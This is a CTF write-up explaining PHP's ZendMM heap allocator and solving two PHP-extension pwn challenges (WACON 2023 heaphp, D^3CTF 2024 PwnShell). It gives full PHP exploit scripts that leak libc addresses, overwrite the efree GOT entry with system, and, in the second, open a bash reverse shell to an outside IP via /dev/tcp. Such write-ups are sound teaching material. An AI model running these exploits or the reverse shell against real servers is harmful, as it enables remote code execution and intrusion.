A Brief Introduction to PHP Heap Exploitation
It’s my first time encountering this fancy pwn challenge, known as Web Pwn, at WACON 2023. I have little experience with PHP coding, so it took me a long time to figure out how ZendMM actually works.
The Memory Management of Zend Engine
PHP code is interpreted by the Zend engine. Instead of directly using traditional malloc and free to manage memory, Zend uses ZendMM to allocate and release memory through emalloc and efree, which is tailored to PHP’s request-bound memory model (that’s another topic).
Basic Structure
As written in the zend_alloc.c source code, all allocations are split into three categories: huge, large and small. Remember that zend_alloc allocates memory from the OS in CHUNKS of 2 MB. Huge allocs are those that exceed the chunk size, and zend_alloc uses mmap to allocate one. The concept of PAGE is commonly used in ZendMM, and a page usually holds 4 KB. That is to say, a chunk contains 512 pages. Small allocs are less than 3/4 of a page. The rest are large allocs.
Each time a chunk is allocated, the first page of the chunk is used to record basic information about the chunk. The structure that records this information is _zend_mm_chunk (which doesn’t appear in a huge chunk).
struct _zend_mm_chunk {
zend_mm_heap *heap;
zend_mm_chunk *next;
zend_mm_chunk *prev;
uint32_t free_pages; /* number of free pages */
uint32_t free_tail; /* number of free pages at the end of chunk */
uint32_t num;
char reserve[64 - (sizeof(void*) * 3 + sizeof(uint32_t) * 3)];
zend_mm_heap heap_slot; /* used only in main chunk */
zend_mm_page_map free_map; /* 512 bits or 64 bytes */
zend_mm_page_info map[ZEND_MM_PAGES]; /* 2 KB = 512 * 4 */
};
All the chunks form a doubly linked list (*next, *prev). A chunk records usage information about its 512 pages through zend_mm_page_map and zend_mm_page_info. Also, the zend_mm_heap structure merits attention.
struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
int use_custom_heap;
#endif
#if ZEND_MM_STORAGE
zend_mm_storage *storage;
#endif
#if ZEND_MM_STAT
size_t size; /* current memory usage */
size_t peak; /* peak memory usage */
#endif
zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
size_t real_size; /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
size_t real_peak; /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
size_t limit; /* memory limit */
int overflow; /* memory overflow flag */
#endif
zend_mm_huge_list *huge_list; /* list of huge allocated blocks */
zend_mm_chunk *main_chunk;
zend_mm_chunk *cached_chunks; /* list of unused chunks */
int chunks_count; /* number of allocated chunks */
int peak_chunks_count; /* peak number of allocated chunks for current request */
int cached_chunks_count; /* number of cached chunks */
double avg_chunks_count; /* average number of chunks allocated per request */
int last_chunks_delete_boundary; /* number of chunks after last deletion */
int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
struct {
void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
} debug;
} custom_heap;
HashTable *tracked_allocs;
#endif
};
Mind the zend_mm_free_slot. ZEND_MM_BINS is usually 30, which means there are 30 fixed sizes for small runs. As a result, there are 30 singly linked lists.
Vulnerable Small Runs
We mainly focus on small runs, because they are vulnerable.
static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
/*
omitted...
*/
chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);
page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;
chunk->map[page_num] = ZEND_MM_SRUN(bin_num);
if (bin_pages[bin_num] > 1) {
uint32_t i = 1;
do {
chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);
i++;
} while (i < bin_pages[bin_num]);
}
/* create a linked list of elements from 1 to last */
end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));
heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
do {
p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG
do {
zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));
dbg->size = 0;
} while (0);
#endif
p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
} while (p != end);
/*
omitted...
*/
}
This function is mainly used for building the small run chain when allocating a chunk. It explains how the 30 singly linked chains are built. Because each element of the chain has no size header, only a forward pointer, we may find a weird layout in memory (compared with glibc).

When we allocate a small run:
static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_STAT
do {
size_t size = heap->size + bin_data_size[bin_num];
size_t peak = MAX(heap->peak, size);
heap->size = size;
heap->peak = peak;
} while (0);
#endif
if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return p;
} else {
return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
}
When we release a small run:
static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num)
{
zend_mm_free_slot *p;
#if ZEND_MM_STAT
heap->size -= bin_data_size[bin_num];
#endif
#if ZEND_DEBUG
do {
zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)ptr + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));
dbg->size = 0;
} while (0);
#endif
p = (zend_mm_free_slot*)ptr;
p->next_free_slot = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p;
}
Both of the functions lack security checks. If we replace its fd with our target address, we get an arbitrary-address allocation! That makes small runs vulnerable.
WACON 2023 - heaphp
As in a typical PHP pwn challenge, we are given a Docker environment and a vulnerable PHP extension module, heaphp.so.
It took me quite a long time to build a local PHP environment following the guides on blogs. I compiled PHP locally, aiming to debug it easily. This document helped a lot. However, if you try to compile PHP with debug symbols, the ABI of the binary will change, which prevents your extension from loading properly. That’s actually what I encountered.
So what’s the point of it? I don’t know.
Reverse
All protections are on except Partial RELRO. The extension mainly consists of five functions: add, view, edit, list, delete. Because of the Zend engine, the pseudo-code is hard to understand (especially for noobs like me). There is tons of code of uncertain significance, such as:

Then we must dig into the basic data types in Zend. That’s _zend_value and _zval_struct.
typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;
struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t extra; /* not further specified */
} u)
} v;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};
It’s quite a complex structure. If we replace the meaningless __int64 xx with the corresponding Zend data types, it will be easier to understand.
By the way, the parameter form looks weird.

It doesn’t mean it takes exactly two parameters. In fact, a1 stands for the input args (parsed by something like zend_parse_arg), while a2 stands for the return values. We may set the type of a1 to zend_execute_data * and a2 to zval *. In practice, I set a1 to be _zval_struct * for better understanding.
After checking the declaration, the meaning of the following parts is clear (take zif_add_note as an example).

v2 represents the total number of parameters, and here it should be two.

Here comes a type check. Referring to the table, we find that ‘6’ represents a string. So arg1 should be a string pointer, and will be copied to v4.
Vulnerability
zif_add_note uses strlen to calculate the length of the input string and allocates the corresponding amount of memory. However, when using memcpy to copy the content, the third argument is the actual length of the string. The consequence is that the string can be truncated by a NULL byte, which means we can overwrite the fd of the following chunk.
zif_add_note also contains an off-by-NULL vulnerability. But who cares?
Exploitation
Since Partial RELRO is on, we can overwrite the GOT. Before that, we must leak the address of heaphp.so and libc.so.
Debuging Tricks
To load the target extension, you should put the extension in the correct path. To find the path, run
$ php -i | grep -i extension_dir
Then modify the php.ini file. You can find it in the root directory.
$ sudo find / -name "php.ini"
Add the config at the end of the file.
extension=heaphp.so
After that, you can check if it’s properly loaded by running phpinfo() or by checking /proc/[pid]/maps when running PHP.
To debug the extension, we run php with gdb attached first
$ gdb php
Then we run it and press Ctrl+C to interrupt it. Check vmmap; you may find that heaphp.so is loaded.
We can set breakpoints now. Don’t forget to set our exploit script as an argument.
$ set args ./exp.php
$ b zif_add_notes
$ run
You can also write them in a gdb script.
Address Leak
By overwriting the content pointer of any note, we can read the contents of an arbitrary address via zif_view_note.
As a first step, we can leak an fd pointer (by zif_view_note or zif_list_note). Our heap memory is allocated anonymously via mmap, and it doesn’t have a constant offset from libc.so or heaphp.so.

However, we may find a pointer related to libc.so or heaphp.so on the heap. It could be extremely hard to find one by analyzing the source code. But I found a useful tool in pwndbg.
usage: leakfind [-h] [-p [PAGE_NAME]] [-o [MAX_OFFSET]] [-d [MAX_DEPTH]] [-s [STEP]] [--negative_offset [NEGATIVE_OFFSET]] address
leakfind is a powerful tool for leaking addresses from a given start address, with which we can find some libc pointers on the heap.

After obtaining the libc address, we get the heaphp.so base since they are at a constant offset, and then we can overwrite the _efree@got.plt entry in heaphp.so with the actual address of system in libc.so.
Payload
It’s not the final version because functions like chr() are banned in the Docker container, and getting a shell is usually not allowed in PHP pwn. I kept them to make it more readable.
<?php
// function mychr($index){
// return ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '¡', '¢', '£', '¤', '¥', '¦', '§', '¨', '©', 'ª', '«', '¬', '\xad', '®', '¯', '°', '±', '²', '³', '´', 'µ', '¶', '·', '¸', '¹', 'º', '»', '¼', '½', '¾', '¿', 'À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', '×', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'Þ', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ð', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', '÷', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'þ', 'ÿ'][$index];
// }
function tobytes($integerValue, $byteLength) {
$byteString = '';
for ($i = 0; $i < $byteLength; $i++) {
$byteString .= chr($integerValue & 0xFF);
$integerValue >>= 8;
}
return $byteString;
}
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa");
add_note("number1","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa");
delete_note(0);
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00/bin/shacaaadaaaeaaafaaagaaahaaaiaaajaaa");
$fd=list_note();
$fd = $fd[1];
$decimalValue = 0;
for ($i = 1; $i <= 6; $i++) {
$char = $fd[-$i];
$digit = ord($char);
$decimalValue = ($decimalValue << 8) | $digit;
}
$heap_base = $decimalValue - 0x1480;
$target_libc = $heap_base + 0x82000;
delete_note(0);
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaa\xff\x00\x00\x00\x00\x00\x00\x00" . tobytes($target_libc,8));
$libc_off = view_note(1);
$libc = 0;
for ($i = 5; $i >= 0; $i--) {
$char = $libc_off[$i];
$digit = ord($char);
$libc = ($libc << 8) | $digit;
}
$libc -= 0x219aa0;
printf("%x",$libc);
$heaphp_base = $libc + 0x7af000;
$sys_addr = $libc + 0x50d60;
$efree_got_addr = $heaphp_base + 0x4058;
delete_note(0);
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaa\xff\x00\x00\x00\x00\x00\x00\x00" . tobytes($efree_got_addr,8));
add_note("./readflag","/bin/sh");
edit_note(1,tobytes($sys_addr,8));
delete_note(2);
?>
D^3CTF 2024 - PwnShell
I came up with this pwnable challenge at D^3CTF 2024, as an entry-level PHP pwn challenge. To make it more interesting, I wrapped it in a simple file-upload web challenge.
There is an off-by-NULL in the addHacker function. Triggering it lets us forge a fake fd and create a heap overlap to get an arbitrary-address write primitive. Then we are able to overwrite the GOT entry for efree and call system.
By the way, the libc address leak can be obtained by including /proc/self/maps or by leaking certain pointers on the heap. Those are two typical ways to obtain an address leak in PHP pwn.
<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}
function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "\x00");
return $addr;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
function leak(){
global $libc_base, $module_base, $libc, $mbase;
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
}
function attack($cmd){
global $libc_base, $module_base;
$payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x90");
$gadget = p64($libc_base + 0x4c490);
addHacker(str_repeat("\x90", 0x8), str_repeat("\x90", 0x30));
addHacker($payload, str_repeat("\x90", 0x2f));
addHacker(str_pad($cmd, 0x20, "\x00"), "114514");
editHacker(0, $gadget);
}
function main(){
$cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"';
leak();
attack($cmd);
removeHacker(2);
}
main();
?>